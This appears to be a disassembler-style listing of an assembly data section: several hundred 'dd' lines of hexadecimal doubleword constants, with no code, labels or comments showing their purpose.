dd 6C09B58Ch, 0D8612640h, 0F2D6BF7Bh, 0F04A2010h, 0D39D91DDh
dd 1064D820h, 89F2BC16h, 9E1102E0h, 0EB66C0CBh, 790005FFh
dd 0B3704494h, 9213E31Fh, 1E12503h, 15C34D1h, 3F67CBE1h
dd 19E578FBh, 8FA50121h, 8F7B4818h, 173D2E3Ch, 2DF0A997h
dd 0B00C4745h, 5BA99B7h, 0E215F8D9h, 92F0EBCEh, 941C42ADh
dd 3B5102Ah, 0B83CC44Bh, 0DE0769CCh, 0E889AD7Eh, 0CDB93218h
dd 28F4F001h, 1DF3A737h, 975B5374h, 8477FC9Ah, 68001733h
dd 7C373FD6h, 9E409196h, 61D49Bh, 181D6DE3h, 32EA9240h
dd 283E51F2h, 3C999A6Ah, 0B8507783h, 7CFC2979h, 0C272FE9Dh
dd 8DFC1675h, 74B11F42h, 2D026923h, 7D091DF1h, 15707632h
dd 6902604Bh, 619F1BDh, 75971461h, 0AEF9BFA4h, 0B76AC2C9h
dd 77A7A0FFh, 62677B15h, 61DFD858h, 0E02B7F7h, 5881B195h
dd 2A37165Fh, 6FE960F9h, 0E95F3BF7h, 71F5C969h, 351746EEh
dd 0A83359B7h, 1A352D25h, 84069AF5h, 0FA527DAEh, 2EEDA4DAh
dd 0A8259860h, 0E08C2630h, 0ED07DEFEh, 65D3AA5Ah, 0B0445430h
dd 505125DAh, 5B6443DEh, 224FCBABh, 1F89B0D7h, 0A921DC40h
dd 3C462D9h, 1F48FD4h, 0B5111FF1h, 63D2ED5Fh, 2F5801F7h
dd 18422978h, 1A1DF541h, 0BB665F00h, 5EB31B2Fh, 6B00551Dh
dd 9F971D4h, 0A84C97CCh, 17E2DF46h, 2FF36D30h, 0DE894543h
dd 1BCE371h, 6B2E4866h, 43EA8B3h, 0D5A49C24h, 0C5D59B86h
dd 0E6AB41C4h, 32DCB4C8h, 0A0C402A2h, 40D9B2E4h, 84407177h
dd 291CC5B5h, 829AA87Ah, 5D86CB80h, 2FFA7431h, 9CFC9C35h
dd 8A7E0820h, 0FEE87CBDh, 4B45F1BFh, 7F2130D5h, 0F2745AA7h
dd 0EFBB09FBh, 0BD5B788Bh, 46C15ECDh, 0BA2BF49Dh, 4A8DAC25h
dd 9137A30h, 77F34130h, 0C7A46C7Bh, 837B12D6h, 58B0BA65h
dd 44B009BBh, 6E79705Ch, 81BD0385h, 2B6FC9AFh, 15238A6Bh
dd 53EA80Bh, 0E5EC518Eh, 0AB1974D2h, 0FDA45FB6h, 0BF938048h
dd 5A337F37h, 0D0458C6Ah, 0F1994C00h, 0CCBC4AF6h, 51A00277h
dd 909A6B59h, 381718h, 74F779E6h, 14BAA2C6h, 5BD0FD12h
dd 2515A551h, 524EF520h, 0CC98634Bh, 59952A29h, 23DBBDA3h
dd 9519F0C9h, 1DCE65Eh, 823285D7h, 7E8D897Ah, 962DFAA8h
dd 0AD0031F1h, 32ABA2F1h, 53FB1238h, 0B0C5FF17h, 0D71D3430h
dd 0BC71EC4h, 9A74AFA7h, 60539641h, 0D54888DDh, 0F75B5A61h
dd 5851281h, 854B71F7h, 0D1A7AE40h, 0F2EB7BF0h, 0E6ABB725h
dd 6C14976Fh, 5534796Bh, 7581D437h, 15ABBBB7h, 7B989D2Eh
dd 0B48134DAh, 49820F78h, 44D5DAAEh, 0B3F84BAAh, 0EFF5A43h
dd 0E3C08FA9h, 0C00DDB15h, 4F2B030Bh, 40535839h, 0C65E5B16h
dd 25FBB764h, 807BAE66h, 97001D23h, 1FF0715h, 0EE1FEA3Fh
dd 27E9257Fh, 0BFF67C5Eh, 8C1270ECh, 95873691h, 0E280C123h
dd 59DE577Eh, 0BBB097D4h, 1B056BE8h, 96415DFDh, 0CAA08FFh
dd 0C2A2FE25h, 49759501h, 0DB3B6A04h, 5D4CCBEEh, 7725C03Dh
dd 0F951C8EAh, 278A0200h, 128507Fh, 0CE2B3463h, 40D06D1Ch
dd 1A39CD8Dh, 78A17BB5h, 0B24C9190h, 25FD130Eh, 0D3DE8FFAh
dd 5ED471BFh, 0DDFA21CEh, 0A7600301h, 7D023D72h, 891A83EEh
dd 5675ED95h, 2544AF66h, 0D729854Ch, 0BB6640BFh, 2FB711E3h
dd 0DF3412D6h, 0AB4EB0ABh, 7D5B8F25h, 803EA7E6h, 96CE6DDFh
dd 0E72D522Bh, 60FAA0C5h, 25430293h, 9EB3C1B1h, 51F6537Fh
dd 2F9B581Dh, 0ED4F1F00h, 77F89B82h, 30BE4EDCh, 85BD2B0Ch
dd 88F8085Eh, 0A84AADB5h, 17FA7580h, 6FD1FF8Bh, 0BF140013h
dd 0DB32345Ch, 7511BF50h, 2E58C44Ah, 0D3523000h, 730D342Dh
dd 330604ADh, 0BC11FD07h, 2A4DA2C7h, 5C908CAh, 4D026A09h
dd 0EE78C028h, 8305F2DEh, 0F88BB452h, 0E17F7EA5h, 7BAC3B29h
dd 0AFD4ABA4h, 3860B6EFh, 4BE9C001h, 1043CE92h, 15F839D7h
dd 4A37028Ch, 0A5BD3356h, 5BA5847Fh, 46F6EBBh, 8E601FBAh
dd 4AA43BCh, 50F0B74Ch, 0B33431ABh, 0AE7B7E90h, 0EEFFAE00h
dd 0A4F279FBh, 0F5BF0F27h, 0FA5C2CB2h, 9BBB1013h, 7CA6D692h
dd 51537D01h, 3A7718AAh, 0DCA92D05h, 27F9ECA1h, 0EDB8C307h
dd 655E6182h, 0C6D78161h, 7D3B71FCh, 0D0849F6Ah, 0A9B54223h
dd 0B7F35F33h, 1669C978h, 12778DD9h, 2706E670h, 70C3C6F6h
dd 8D2918B0h, 70E67D1Dh, 2540B5B4h, 1829467Ah, 32CFC9B0h
dd 0E4245FFBh, 2D095C71h, 7399571Dh, 0DA2D52C9h, 423AF155h
dd 0B7C82BB3h, 197ADDBh
dd 81BD01BDh, 0BF5ECD6Bh, 2D0CA05Ch, 3377C82Bh, 0E17FA37h
dd 0B5A2D1CFh, 0EE552471h, 0CD9D3D72h, 13E05AC2h, 2BB3A949h
dd 81FB66Bh, 0AE31C5F7h, 5D6E40AEh, 0B93D27F4h, 0A844029Eh
dd 5CF5F839h, 21491B8h, 5BDD8A57h, 7390D7F9h, 18978B0Fh
dd 9DE50971h, 0D025277Bh, 1C74971Dh, 0E9E4115Bh, 0CCDA2533h
dd 0FB8995C0h, 2D6B6A88h, 3C6CDF56h, 0A21A4B21h, 0B47B8487h
dd 1B233Eh, 565B97F9h, 47121DC2h, 719B6A9Ch, 315863C0h
dd 8B4E2CADh, 0FA408EA2h, 0ED025A95h, 0F98BC64Dh, 0A452028h
dd 920B925h, 943C375Ch, 0DF25A005h, 95299CC0h, 77C96949h
dd 34B2A4A3h, 9DDFB8D5h, 12C49419h, 0E496B7BAh, 502DF7BBh
dd 0F6A4C160h, 89819D25h, 0DA585EC9h, 8640A8EDh, 2FBDB3Bh
dd 1F0601D4h, 375546DCh, 8EAD07AAh, 0CDC920D6h, 8A25D880h
dd 9FBDC6FAh, 0F557F390h, 95015F05h, 0DBEE33E9h, 0BFA6D291h
dd 43A6C12h, 1225971h, 29259D03h, 4051F72Ah, 2D5EADA5h
dd 5ABF6FECh, 919B498h, 0CE2C63A0h, 46030375h, 0D381E030h
dd 328612A2h, 17081615h, 57060BA4h, 42D7C209h, 59D056E4h
dd 0A1E72F79h, 0F5D510B7h, 0E99408A3h, 0D6DC4F40h, 7D3D005Ch
dd 0FC786CCDh, 4D4888FDh, 0CDFFD771h, 0D8322B21h, 81DD5EB5h
dd 0FFE5C380h, 0B81B6DE1h, 6C6501C5h, 0D9BD89D0h, 25D3480Fh
dd 7FA3234Bh, 4FD74A8Bh, 0C5BD4013h, 2F133949h, 2149E093h
dd 469C572Bh, 74043025h, 7D4BF4D6h, 0D13A07CAh, 0A0FFE75Eh
dd 1F7E1C51h, 52B639CEh, 1179055Eh, 0DFA7BE1Ah, 437616A0h
dd 17F5E02h, 0D8A423BFh, 0C4D04BCFh, 8093EC2Fh, 0DEEDB39Eh
dd 958D0E37h, 0AA2B4076h, 39099F5Eh, 25187857h, 4B5EDE8Ah
dd 0C0ACCDE9h, 60439D8Fh, 0B79EBDB1h, 14507B41h, 0F0F46113h
dd 550A2D01h, 0D1BD84F0h, 24354999h, 4E5D108Dh, 0E279996Bh
dd 892D2071h, 8B7A8B5Fh, 92ED5749h, 55A912E0h, 0F8DA3EC2h
dd 0EB7F5797h, 0F2EA5465h, 68610482h, 0F4C7355Dh, 8AFB8895h
dd 9CD400C3h, 7DCA1BC2h, 0B9F70224h, 9AC3134Eh, 0A203F754h
dd 0B86AEB36h, 2D0A95DFh, 0CF5E2ABBh, 5640F4C8h, 113B1E7h
dd 0B365D24Ch, 2ECC7D62h, 0D9AE9F13h, 12FC3E30h, 2BF1E9B1h
dd 6F046BBDh, 0AF7DB71Eh, 67807D2Ah, 0F16BEEAFh, 17BF302Eh
dd 71F9B509h, 57604237h, 0D2549F8Bh, 57615889h, 18915BB5h
dd 2C590880h, 1897667Ch, 90F8562Ch, 0BA9577B2h, 0B63BED45h
dd 1B52F005h, 889C257Ah, 50532C1h, 6E67C8C5h, 0E83EBF91h
dd 0AD33122Eh, 1254B868h, 13960248h, 5D28FE27h, 15E9002Bh
dd 9160C899h, 0F0120BA2h, 1C9505Bh, 9DC74FF8h, 9209866Bh
dd 0FD5BAE7Ah, 0F5CB706Dh, 0C1B0F54Ch, 0A77BE145h, 86CB0035h
dd 0B84F68EEh, 8A9D12FDh, 47FBCDCh, 62214BB0h, 5E1D6EFBh
dd 0ACA425ECh, 0B9BD83B1h, 36DD9134h, 6830BF2Fh, 9A00CBAh
dd 601AEE9Ch, 63447901h, 0B501DC21h, 61F86895h, 5D8DF05Bh
dd 0B94E4B79h, 8C1AAC7Fh, 2AAF53Fh, 9570F6A7h, 85434057h
dd 7E2041EDh, 0DA6A8005h, 8CD557AFh, 0A71CFC39h, 3B80F5FEh
dd 0BE833E13h, 2277B42h, 0A8B302A3h, 0D2E0905Fh, 0EE951989h
dd 305EB0CAh, 81D90821h, 471685C7h, 0E8BC4D6Fh, 1613FCE5h
dd 4BC2AB5h, 0B8746E3h, 805837FFh, 5B7D2CCh, 3DBD3DE9h
dd 29648AACh, 0E62812CAh, 1423EAB1h, 0D88AA800h, 5F71BD33h
dd 0A0C0E71Eh, 7EE4CC7Bh, 0EAF25B2Eh, 0E9D6B128h, 0A008A72Fh
dd 23B28D8h, 3F909495h, 1D45F8AAh, 5703A589h, 5212D7BDh
dd 26E17104h, 5AD191E4h, 0B52ABB2Dh, 0CE187BCBh, 0BB011240h
dd 3D3EA524h, 0B3E47F97h, 0B93BE5EFh, 5C2DA988h, 3557028Bh
dd 9284A37Ah, 0C512BB64h, 0DAD2BDB9h, 35DE8028h, 2319EA4h
dd 37662C3Bh, 7C606025h, 63822EC1h, 24926Dh, 8B519661h
dd 4A2EFA58h, 0BF9720FEh, 3A12BE30h, 0B4F6966Fh, 505D77E2h
dd 564F2FBFh, 0BD4F187Dh, 5DF4AADDh, 54F8127Bh, 0FA9FA14Dh
dd 9F47AD6Fh, 5EA578E6h, 55005557h, 49CC4E28h, 0A250972h
dd 3A5D2491h, 4040ED4Ch, 0D087527Ch, 0EF54F302h, 5EF5E28Ah
dd 0EADAC55Dh, 0C70980A6h, 2D787C40h, 33B198A0h, 2050F1C2h
dd 57B292E9h, 0F52D7B79h, 6DBD4718h, 99F1942h, 0D5F1FDB5h
dd 0CEFC8A0Ah, 0F93761CEh, 0F62A3E84h, 301DB294h, 0EB392BFFh
dd 44FB0202h, 0D56C18E9h, 5FDDB390h, 62614500h, 52A83713h
dd 0E1DF167Bh, 0D8ED0046h, 5F0B04D9h, 51A1BB00h, 0B35061B4h
dd 0C1099772h, 3570915Bh, 0FD2C17C8h, 5F6E02F8h, 0E0D560BEh
dd 85266527h, 29BB6602h, 0F1DA5C83h, 0A7CC6F5Fh, 7BFC8118h
dd 4E3DA1A3h, 39C8017Ch, 0FAB66D8h, 33A26E89h, 0EF75EC89h
dd 7B88AFC9h, 78CAA381h, 8B003AB9h, 0A9E54939h, 97F598E6h
dd 0F7A73C7Eh, 0B000FC3Dh, 1660179Fh, 253390C2h, 5EE2625h
dd 7F47BB05h, 382057E4h, 4F658D09h, 897BB203h, 0F16DFDD9h
dd 25E3EC4Bh, 1A77C248h, 0ED3FC0F9h, 1F9C9710h, 36212045h
dd 0D353AC3Bh, 0D19D00EAh, 61F5D7B5h, 46C40B97h, 99C19D1Ah
dd 0ACA37B0Dh, 19B92CD8h, 97C1E980h, 0DBB7A709h, 7E39C680h
dd 6EC042C1h, 6FD35C6Eh, 40BF4F7Bh, 16858362h, 0AAC5FDDDh
dd 2CEB2865h, 541AD2Ah, 0C360202Eh, 4200A032h, 0DD6FD429h
dd 4A27525Ch, 28C4BA37h, 0B72F9C40h, 0EEBAB25Eh, 75A338C6h
dd 4A20AE4Ah, 4B730F9h, 5E3DAF0Ch, 432A8271h, 15557B75h
dd 5A27B0E5h, 0D06031F6h, 73F123Eh, 8B3034FFh, 2925198Dh
dd 8002AC5Bh, 75FDC3ECh, 76AC3D6Ah, 8B669380h, 0EB815FD0h
dd 863E4D7Bh, 59BB5A18h, 0C44818A9h, 660F5522h, 40A38BBAh
dd 0F81405C3h, 0B2534A0Dh, 6C3DB7h, 0A2F06B9Fh, 2749A834h
dd 0DEDCC586h, 48F5F00h, 1725B906h, 302B4FE0h, 1ECF5C5Bh
dd 49F7B400h, 78E6C7Bh, 47F0AEh, 0BF9EE881h, 85013234h
dd 9708F131h, 199D9AC0h, 14F8D6F9h, 0F0D2654h, 0DC0A7A85h
dd 0E001E14Ah, 9B628070h, 0A0DC9060h, 0F5521CE3h, 10298039h
dd 0CB1365C6h, 15ECC500h, 9679F9BBh, 0F45FEC30h, 0EB074E0h
dd 853A4490h, 0E1781198h, 0DC3819C1h, 58B0B521h, 983247E2h
dd 0C03ADD06h, 731A2E4h, 9C01979Fh, 9A327393h, 8DB125D9h
dd 48BB6418h, 0A007C1E6h, 6948308Ch, 0A90F1B39h, 80C1E53Ah
dd 209365C5h, 476E00EDh, 25E8B731h, 7400CE5Ah, 0B0016B96h
dd 6E27619h, 0B5E6A561h, 0EA73B157h, 30B3EC18h, 83714E20h
dd 6998AFC0h, 99FD4605h, 18AEB6F5h, 33E0D9ECh, 0C994240Ch
dd 180111C4h, 8C04DCEBh, 0B1669139h, 0F208C019h, 531F06E4h
dd 512D6E64h, 83D5E1C8h, 0EA55E576h, 48D7C800h, 0B52A0783h
dd 0A11514B0h, 1D00C408h, 0A8D26D66h, 3019AFE6h, 1908E0FAh
dd 0C069EEF0h, 1D333BB8h, 0A93C7D6Eh, 31E450AAh, 0E158EB60h
dd 14E90CD9h, 8CD8021Dh, 596DE306h, 0C79090A1h, 18B5AE31h
dd 82021C8h, 37B1714Ah, 0F9E478h, 69EA230Bh, 94840503h
dd 0A383F561h, 222100F4h, 6C352303h, 41F52566h, 5C1F62Ch
dd 90C81822h, 7F11A8ECh, 27B7004Eh, 24D63057h, 0B36E619Fh
dd 0EABB0321h, 0BEFA30DFh, 0E22D6A50h, 46F0D441h, 18926029h
dd 993790C9h, 7FEC6354h, 10A3EF02h, 40050CE9h, 0E804D442h
dd 0A621C07Bh, 0F53CA3E7h, 0BF47F400h, 0ED6DCC39h, 1E2D1AE8h
dd 800060B8h, 0DF02255Eh, 71002492h, 24D8844Bh, 0F63F1Dh
dd 0B785C99Ch, 614D0FACh
dd 253D5600h, 0D2C8FC1Eh, 4BF30098h, 45A9B222h, 0EF00EB86h
dd 60A262Eh, 0B67859h, 0CD2E552h, 67BA8E01h, 1DD53E38h
dd 3CC0D42Fh, 0D7F66843h, 6B90E5h, 0A44E535Ch, 62501DF1h
dd 0F340D007h, 0E9D0B143h, 923C2Bh, 689A9580h, 8660B4A8h
dd 0D21EC879h, 54C03FC0h, 6B0DDB89h, 0F88CFE76h, 8E9801A4h
dd 2C3F52DFh, 2D60E81Ah, 8D9F9100h, 0E30B5FB4h, 0E1B21CDCh
dd 473D00E9h, 0D4534F5Ah, 1885D303h, 0A01F7D0Dh, 773BD5BAh
dd 0A5300163h, 9CD1DE64h, 3308985Ch, 6B5E21h, 7BD93D7Dh
dd 0ADA78475h, 30DE2E03h, 0E95A431Eh, 2C4BCF3Fh, 370063DEh
dd 0A8457EC1h, 0BC963E2Bh, 0C9181B00h, 3EDF124Ch, 2D209A07h
dd 11885C0h, 0A26E1BFFh, 28BCD8h, 17DB79B5h, 193C905Eh
dd 86056BEh, 132180EFh, 0E2DDB72h, 864B0021h, 77330A49h
dd 58C61FBEh, 2068F645h, 81C02CE2h, 0A5A4F5BAh, 0E8B9634Ah
dd 0B99E5BC9h, 1B797B00h, 0E5C5D18Ch, 72213EE1h, 37E4272Ch
dd 1438E020h, 91017698h, 991FB10Dh, 25D1B0FDh, 980C5A10h
dd 8A23FC00h, 8B9B8E34h, 4E4100F7h, 0E5DE5620h, 0B10D8CAFh
dd 61E2BBD1h, 0E839108Ch, 79009370h, 0A34F1080h, 58E2CCh
dd 0A2F4E47Eh, 4016DC3Ch, 5C50D900h, 0A42D6FF2h, 1D700082h
dd 0EE0313Eh, 0BF0FDD22h, 83340B63h, 46B6B5A6h, 22C30411h
dd 1000BCC9h, 4411D25Eh, 1F8C991Eh, 81CA5D7Fh, 0D3A0163Bh
dd 26E4F465h, 89885200h, 0D0AAD6F9h, 0E38E004Dh, 0AFD20607h
dd 97243AC3h, 3CF3EAh, 8F1C5BA3h, 7C28FADCh, 7A71B5h, 0E3B018CCh
dd 67DD566Ch, 0D04C3900h, 0BC2B5CE2h, 636800BFh, 0C88A1175h
dd 7B7ECF4Dh, 0A1E57300h, 8C157CEh, 0BDEC0051h, 60ED76FAh
dd 5930D3ADh, 0F235498Eh, 6320FDCh, 5DA0080Ah, 2C33C685h
dd 39B88B1Dh, 9A10A040h, 0FEAA0Fh, 891AE9ADh, 0B2DE08AEh
dd 0BD333F07h, 0B4113EABh, 58F45C73h, 19F1CA9h, 51D4580Bh
dd 0E2EF192h, 2B00AA3Bh, 0BC8F9A45h, 0BD371EAEh, 6D808669h
dd 8D00714Ch, 4B1C6643h, 8F8C6h, 0A37EB94Fh, 333A030Fh
dd 0A79DCD0Fh, 679E8084h, 5FBACBAh, 4869AB77h, 49D44F2Eh
dd 131D44E0h, 59C06C0Fh, 824EF070h, 0A47DD9h, 1814BA04h
dd 5CCE888Ah, 5D634505h, 0F44034E7h, 0D0F6F744h, 47A50010h
dd 0EA65B835h, 8201807Ch, 0CD7B87EEh, 6CAD4917h, 80A81108h
dd 63D28BB7h, 0E00023EEh, 0A77A67Ah, 7D8E80Eh, 0B20C032Ah
dd 85F7132Bh, 4A2C9900h, 0FED44E51h, 0CA7D0081h, 9F5E276Fh
dd 78F839F7h, 443A610Fh, 9075207Ah, 0B35C05h, 0F68CE79Ch
dd 0E32DC31Ah, 806CAC3Eh, 74AAD23h, 16EE679h, 0CE08A59Bh
dd 0F0946AB2h, 5C50F52Ah, 522E7FC8h, 11303E3Ch, 5B628Fh
dd 0DB8A20Bh, 0E6BFAFF7h, 6880C00h, 7163A0D1h, 4B20028h
dd 4B6E0F33h, 8892877Bh, 9613D51Ch, 0DC528AC3h, 3216C029h
dd 0E7300A0h, 8DA8E23h, 27E21258h, 0A8B08039h, 78C0EC17h
dd 9F4E5D7Eh, 0FED80687h, 1809CFFFh, 25F59600h, 33BC9C67h
dd 7DF8F9D2h, 1FDC074Ch, 11CB3489h, 60A23BEFh, 0F60060D9h
dd 962C4785h, 0EE8F2579h, 0F7552E62h, 0CB330044h, 520F38B4h
dd 9B54E400h, 10A769EFh, 1DB503F1h, 0A08D70AFh, 0CB5EE9B0h
dd 0E54F9309h, 54040762h, 201C4560h, 7AF52CE1h, 0CDA5008Bh
dd 39E4C24Ah, 33E60400h, 0E775A24Dh, 840D048Bh, 80AE7029h
dd 0B1017E94h, 0D5E46F18h, 40C17C58h, 4F008D63h, 0D2151F42h
dd 189B0A9Dh, 39413CDAh, 2C006138h, 0A636A1C3h, 1F0F89E5h
dd 40AFBD8Eh, 63D9B1A8h, 6D3BFD9Ah, 68DC80F8h, 0BF8F1EDFh
dd 4E380970h, 38A096B7h, 99C8246Dh, 0A80DB309h, 73E020F4h
dd 18C61A4h, 14C6B44Dh, 0C0E5B2FAh, 797EEEC2h, 3B7EF0C0h
dd 738CAD36h, 0BE2A00C3h, 0BC5CDB94h, 7200716Eh, 367EE055h
dd 0D564B3h, 0DC97DAB7h, 0D15F3E39h, 0BE4B5700h, 7A100C9Ch
dd 0FDFF0076h, 0AD24EA27h, 7C00EC86h, 4F3D5061h, 0F3B6939h
dd 759AE9AAh, 630DCE40h, 6D005E3Eh, 8E2852F1h, 0BBB591h
dd 2743C72Dh, 5B8B09E4h, 1E00D492h, 6E96C160h, 0C0A9E6CBh
dd 9BC783D0h, 4E00BC1Ah, 9C814F39h, 84A1Dh, 451FAE8Eh
dd 6F013AD3h, 0FF03F97Fh, 2671F761h, 88AF90E8h, 1870F6B6h
dd 80D2037Bh, 892FA99h, 0FD169A0Eh, 2BF30088h, 0FDE8D95h
dd 72F5D907h, 0ED529Fh, 0B7946A8h, 6601CE55h, 9E925175h
dd 0F8200CADh, 834C00B3h, 0A944F5A6h, 0AF757C1Ch, 2F506000h
dd 2BB33A5Ah, 4CDD015Eh, 12C9EED3h, 33189FC1h, 0A0CD68Bh
dd 0C080BC1Bh, 806C761h, 692F2CF6h, 0A7C4011Ch, 0C445AF31h
dd 0FB7F6AB0h, 99F0CC02h, 581E14BEh, 569E0055h, 2680748Ch
dd 890E6F65h, 0E1582EA4h, 0DC9872E2h, 0AF8EE4h, 8DDBA801h
dd 20AB28C3h, 47D64001h, 791348E8h, 38D1288Bh, 7685D00h
dd 0D0077A92h, 3A0EBD82h, 0EA165BF0h, 36F67Bh, 5667BEBFh
dd 4113C052h, 931ADB00h, 0E4C86154h, 0CCD400A9h, 0F479400Eh
dd 0A00BD24h, 942DB3CAh, 344596Ch, 906FB7D6h, 91801601h
dd 660EA3BEh, 733960F3h, 7C008052h, 6AFED27Ch, 94E709A2h
dd 8C00A5E5h, 73E350DCh, 4FF64401h, 70DEFA01h, 3B8D6AD8h
dd 3401DB63h, 6E24395Ch, 0E4E770E9h, 22BABB00h, 0E0308976h
dd 0EB3400BCh, 326FF157h, 1A0FE758h, 7FF22733h, 255C70C7h
dd 0A0248C03h, 4C6BA5h, 816F11C2h, 0E841631Dh, 37AD1A03h
dd 0EB404BA9h, 3829A817h, 53A300FCh, 3A849DABh, 0EFFAC2EAh
dd 0AECBB000h, 4FC33063h, 83710AC9h, 81FC1B5Eh, 19450544h
dd 0D1206498h, 8884E303h, 985A5EB9h, 1680E6h, 2BAAC487h
dd 1E99FAADh, 7FED9E00h, 9CD77809h, 0C8930219h, 0D1AA0375h
dd 0E880882h, 35A0CCC0h, 1CB3A701h, 8C8A0949h, 0B67874h
dd 4D07513Eh, 4FCF4EECh, 0D0D4C9F9h, 432EE49Bh, 498094CAh
dd 0F2846FA3h, 82871DDBh, 0E68B01D2h, 0E163C003h, 0A374F0CAh
dd 3629C100h, 24411F9Eh, 37E100ABh, 0D2A789DDh, 9F009255h
dd 0C27FF648h, 0A046E4DBh, 600C2E30h, 4F48906Dh, 88C049E7h
dd 0EC0E1E07h, 610F450h, 0DBDA806Bh, 6FE438EEh, 491BE71Fh
dd 688B8A4Ah, 7304005h, 0E284AC46h, 0FA2C3AB0h, 8A888600h
dd 0E3230CBCh, 8762B63Eh, 83C05BD0h, 88B3FF80h, 1D5E009Dh
dd 4502AA73h, 7C00C905h, 0EB3A2B62h, 0A5C072h, 60A2CDB5h
dd 0DCA879C4h, 13C1A000h, 0F36CA31Ah, 260C0196h, 75D32EAh
dd 7AD8C4A1h, 2D04BF1Dh, 0A002C64Eh, 2338DADEh, 0E60A3FDFh
dd 0EFA9811h, 8028EB0Bh, 6C7D4B45h, 1CA29016h, 0DC2BDF8Bh
dd 0D17BCFEEh, 0F04418D8h, 0D8386E01h, 49862C69h, 0FBC385E0h
dd 0ED7388E0h, 32BF418Fh, 4361DFECh, 0DB173D00h, 7E73B9D0h
dd 752744Bh, 620FCC11h, 40C58096h, 0A54AF05h, 706F25A8h
dd 0B881F028h, 40105485h, 0C0B30690h, 78CA7937h, 0EFC37600h
dd 1CD1D0F1h, 19F90BC6h, 4506CB07h, 0D64176F0h, 9890DB69h
dd 5B2C8111h, 0C08691E9h, 21FF2F3Eh, 1D445C85h, 1E470C4Eh
dd 0D57D6007h, 6B093541h, 20A976F8h, 0C4A3BF34h, 62F30736h
dd 42AD4BFCh, 0B380B52Ch, 0CC83380h, 0F8B1E160h, 0E3A4598h
dd 0B5EFA08Bh, 801004A4h, 35771956h, 80C51C6h, 0A9340731h
dd 0C02CEE01h, 0B536EAC2h, 0D062B200h, 0C47B87C9h, 23C7320Eh
dd 46208278h, 910CD24h, 88427C13h, 737E6801h, 44E98254h
dd 8F0759B8h
dd 0EEFB6098h, 7E19348h, 0C8222482h, 8E5BC0F0h, 71E2A3Fh
dd 3858C30Fh, 287B7E79h, 44247491h, 8500E03Ah, 41060C3Fh
dd 0C0010B88h, 15D46EC1h, 0D6005E28h, 9F99FC1Ch, 95EC18h
dd 53FEF47h, 0B9F18137h, 538430DCh, 0C089C02Eh, 5F69DCh
dd 0B2D048D4h, 36129F46h, 0BF3B9224h, 0D1C3CF00h, 74F3411Ah
dd 0A9553EA8h, 5952A403h, 29E00F3Eh, 7C06B774h, 0A89808Ch
dd 80E4F078h, 3C00BC45h, 1C9637A5h, 4CC15Ch, 0B9DB1360h
dd 0ADF71FE4h, 4F9FA703h, 11E6EC6Dh, 50F34719h, 0D8A87013h
dd 8D1D8A89h, 0B10E7F35h, 0B52B4077h, 8868F0C2h, 0F1245BE2h
dd 7F00443Eh, 0B87ADA85h, 78B000FDh, 0F5F4F256h, 0CA0C5E5Dh
dd 207FB7F3h, 0DC460F39h, 2403B820h, 1978FFE8h, 113B3800h
dd 0D8F9B76Eh, 837C1Eh, 0F532C2F7h, 0F303DE0Ch, 0ED0E44E2h
dd 0B257A1h, 0FB087A9Bh, 0C3E8B0E3h, 0AC388310h, 0B11CF588h
dd 6329C560h, 0D3E4EBh, 6F2384AEh, 80E7D919h, 0A1BF3F00h
dd 0B3F1D4CCh, 0A85A30BDh, 1117148h, 7AFDC0FFh, 0FF417C00h
dd 78C418FCh, 3A7F7739h, 0CA0CAA9Ch, 21C1A8E7h, 12284D01h
dd 96385A5h, 3600E0BEh, 9953B24Fh, 0C56FE868h, 96409DE8h
dd 283F5DE9h, 9A9006Dh, 66CACE94h, 0D55C5A7Ch, 1C601C8h
dd 15CFEF44h, 8123E4h, 0AB7AD9F5h, 29E19865h, 9C47AF17h
dd 0EB7D8801h, 0D5F04B97h, 73011E13h, 0CF538FBDh, 0DB2A06FEh
dd 0A0018D3h, 0AFF77C2Eh, 380E4507h, 0FF83B615h, 0C76C1ED7h
dd 5DB4C8A8h, 0EA032A00h, 2ECB97DAh, 84D31711h, 0DE3000F6h
dd 91D61C2Bh, 6AF08C76h, 5D25B201h, 0CEEC8588h, 0A0E84880h
dd 0C4FE9517h, 8A461C03h, 0E8683AABh, 304062BDh, 0F008BC7Ch
dd 5B002813h, 0CEFEEF84h, 22A068h, 6C3F380h, 4A99044h
dd 0A1325E1Ch, 4CF01994h, 0ECF3007Bh, 6F30CEB7h, 3EA000D5h
dd 1650213h, 64606D5Dh, 2E2B7A21h, 9B330055h, 1BD34E5Bh
dd 17003ED9h, 8F2F62D0h, 1450E94Fh, 94AB82F5h, 9C0117h
dd 29DDBF7Fh, 0A901917Fh, 0AAE8C5ECh, 82603BBEh, 25B106C9h
dd 69F5D231h, 5F71B807h, 0D8E08872h, 0E5C49961h, 0C3BDF4h
dd 2E045580h, 0E6F3B09Fh, 0AC7E6803h, 3DC67024h, 0C0824A70h
dd 0E5770FDFh, 397BFAC0h, 2518B500h, 0F9FA4164h, 0A2400A1h
dd 0B48BCCE1h, 1A00A997h, 0E7C87069h, 0FC6F15CEh, 2D7D9Dh
dd 0A0CFF039h, 3528ED6h, 87D96400h, 0C57271C3h, 3EA79FCh
dd 5C2B297Ah, 0EDAB17E0h, 81EB33E0h, 0DD31077Dh, 0F225A066h
dd 0B9008855h, 8212E0BDh, 0DEC300E2h, 3B6BB0FBh, 1900FCAAh
dd 0D4D28780h, 5AB2Dh, 214AEB27h, 1F5F57BEh, 7452C000h
dd 306B897Fh, 0A1C61FA6h, 49188E20h, 0E9FC02F3h, 58435E14h
dd 10D0F4F0h, 8D633907h, 914066B6h, 98A553h, 9F56E208h
dd 45EEA7BFh, 738C5B38h, 545C7000h, 0C47C0F04h, 564B002Eh
dd 41930A9Ah, 0CF073096h, 0FF58CC62h, 0A07C3500h, 14ED07D2h
dd 5ED0439Eh, 0FB610E96h, 86786AE0h, 8700029Bh, 393E647Fh
dd 3E10D86Fh, 0F69D663Ch, 887BC3ECh, 5800E309h, 5E3F9CB6h
dd 0E3E92B74h, 0F91FC906h, 0C9C1386Ch, 77A2B78Ch, 0A903C06Eh
dd 4805DB06h, 53E42063h, 6D599001h, 0F8FB4CC8h, 0EA7D16h
dd 32F8AF7Ch, 123F9DDEh, 809F8E01h, 0C257A40Dh, 0B0FB60D8h
dd 2F7A00B4h, 7C11083Ch, 0C50EDE06h, 874FE65Dh, 5460383Fh
dd 479AB9Dh, 2C3D140h, 0A443C0C2h, 0DF2673Dh, 1A623801h
dd 2AE2CFE6h, 99944080h, 32B4F94Ch, 68F60F00h, 3B704905h
dd 0FC270F5Bh, 0DC208A8Fh, 0D7442985h, 0E3C65013h, 0F802A60Ch
